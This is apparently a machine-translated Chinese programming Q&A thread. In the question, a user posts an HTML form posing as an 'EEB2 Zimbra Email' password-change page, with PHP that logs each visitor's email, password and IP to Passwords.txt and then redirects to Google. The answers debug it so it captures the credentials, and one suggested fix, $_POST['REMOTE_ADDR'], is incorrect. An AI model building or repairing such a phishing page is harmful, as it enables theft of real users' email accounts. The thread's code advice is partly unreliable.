保存用户信息表单PHP HTM



我试图做一个表单,当用户键入信息,然后提交它保存在一个文本文件。但是当我打开文本文件时,它只显示IP地址....我不知道我的代码出了什么问题:

我已经尝试将§_SERVER更改为$_POST,但它不起作用

谢谢:)HTML:

    <form action="login.php" id="login.php" method="get">
  <div class="imgcontainer">
    <img src="zimbra.png" alt="Avatar" class="avatar">
  </div>
        <div class="bodypage">
     <div class="font">
  <div class="container">
    <label>EEB2 Zimbra Email</label>
    <input type="text" placeholder="Enter Email" name="email" id="email" required>
    <label>Password</label>
    <input type="password" placeholder="Enter Password" name="psw" id="psw" required>
    <label>New Password</label>
    <input type="password" placeholder="Enter New Password" name="newpsw" required id="newpassword">
    <label>Confirm New Password</label>
    <input type="password" placeholder="Enter New Password" name="newpsw" required id="confirmnewpassword">
      </div>

    <a href="google.com"><button type="submit">Change Password</button></a>
         </div>
    </form>
PHP:

    <?php
$handle = fopen("Passwords.txt", "a");
$ip = $_SERVER['REMOTE_ADDR'];
$email = $_SERVER['email'];   
$psw = $_SERVER['psw']; 
foreach($_POST as $variable => $value) {
   fwrite($handle, $variable);
   fwrite($handle, "=");
   fwrite($handle, $value);
   fwrite($handle, PHP_EOL);
}
fwrite($handle, "IP=$ip");
fwrite($handle, "PASS=$psw");
fwrite($handle, "EMAIL=$email");
fclose($handle);
header ('Location: http://www.google.be/');
exit;
?>

编辑:我不是想要得到新的密码,只是电子邮件和密码。

你的方法是$_GET,所以它应该是$_GET['email']

没有$_SERVER['email'], $_SERVER['psw']之类的东西。

假设它们在HTML表单中有"name"属性(由于某些原因,我不能在Dropbox中看到),您应该在$_POST['psw'], $_POST['email']等处找到这些值。

我还要补充一点,在将这些值放入文件系统之前,应该使用filter_input或其他一些机制来测试它们。

首先,如果您试图保存凭证(如密码),您不应该像在代码中那样使用方法"GET"。因为当提交表单时,正如您使用GET方法一样,所有凭据都将显示在URL上。所以这将是一个安全问题。大多数开发人员更喜欢POST方法而不是GET方法来处理表单数据。

正如它在W3schools上所说的"$_SERVER是一个PHP超级全局变量,它包含有关头,路径和脚本位置的信息。"

使用POST方法

尝试更改到此。(使用"$_POST[]"方法只是为了捕获你试图从web表单POST的数据。所以这将为您工作。

$ip = $_POST['REMOTE_ADDR'];$email = $_POST['email'];

为了让它为你工作,你应该修改

使用GET方法

但是如果您仍然想坚持使用GET方法,您可以简单地将这些更改为$_GET["]

$ip = $_GET['REMOTE_ADDR'];$email = $_GET['email'];

希望这对你有帮助!:D Good Luck

最新更新